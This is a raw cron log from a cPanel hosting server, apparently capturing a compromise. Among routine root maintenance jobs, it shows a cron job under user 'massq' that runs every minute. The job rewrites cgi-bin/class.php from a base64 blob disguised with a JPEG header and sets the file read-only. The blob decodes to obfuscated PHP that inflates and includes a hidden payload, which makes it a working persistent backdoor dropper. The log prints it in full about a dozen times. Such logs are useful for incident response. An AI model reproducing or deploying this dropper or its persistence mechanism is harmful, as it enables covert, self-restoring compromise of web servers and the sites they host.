Aug 30 23:40:01 server CROND[14911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:40:01 server CROND[14910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:40:01 server CROND[14909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:40:01 server CROND[14914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:41:01 server CROND[15728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:41:01 server CROND[15730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:41:01 server CROND[15729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:42:01 server CROND[16229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:42:01 server CROND[16230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:42:01 server CROND[16231]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:42:01 server CROND[16232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:43:01 server CROND[16625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:43:01 server CROND[16626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:43:01 server CROND[16627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:44:01 server CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:44:01 server CROND[17007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:44:01 server CROND[17008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:45:01 server CROND[17409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:45:01 server CROND[17411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:45:01 server CROND[17410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:45:01 server CROND[17412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:45:01 server CROND[17414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:45:01 server CROND[17415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:45:01 server CROND[17416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:46:01 server CROND[18286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:46:01 server CROND[18287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:46:01 server CROND[18288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:47:01 server CROND[18796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:47:01 server CROND[18797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:47:01 server CROND[18798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:48:01 server CROND[19203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:48:01 server CROND[19204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:48:01 server CROND[19207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:49:01 server CROND[19585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:49:01 server CROND[19586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:49:01 server CROND[19587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:50:01 server CROND[19986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:50:01 server CROND[19989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:50:01 server CROND[19992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:50:01 server CROND[19991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:50:01 server CROND[19999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:50:01 server CROND[19996]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:50:01 server CROND[19997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:50:01 server CROND[19995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:50:01 server CROND[20000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:51:01 server CROND[20857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:51:01 server CROND[20858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:51:01 server CROND[20859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:52:01 server CROND[21389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
